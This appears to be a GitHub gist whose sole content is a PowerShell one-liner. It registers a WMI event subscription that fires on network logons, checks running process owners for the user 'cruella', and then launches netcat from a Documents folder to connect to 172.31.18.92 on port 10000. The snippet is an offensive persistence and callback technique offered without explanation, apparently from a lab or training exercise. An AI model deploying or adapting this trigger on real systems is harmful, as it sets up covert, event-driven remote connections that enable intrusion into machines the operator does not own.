Skip to content

Instantly share code, notes, and snippets.

@agreenjay

agreenjay/register2.txt

Created October 25, 2019 20:52
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save agreenjay/fda21f11f02c099170ef045177c357bb to your computer and use it in GitHub Desktop.
Save agreenjay/fda21f11f02c099170ef045177c357bb to your computer and use it in GitHub Desktop.
Download ZIP
Raw
register2.txt
Register-WMIEvent -Query "Select TargetInstance From __InstanceCreationEvent WITHIN 10 WHERE TargetInstance ISA 'win32_LogOnSession' AND TargetInstance.LogonType=3" -Action {$names=gwmi Win32_Process;$users=@(); foreach ($n in $names){ $users += $n.GetOwner().User};foreach ($user in $users){if ($user -eq 'cruella') { C:\Users\lex\Documents\nc.exe 172.31.18.92 10000 }}}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment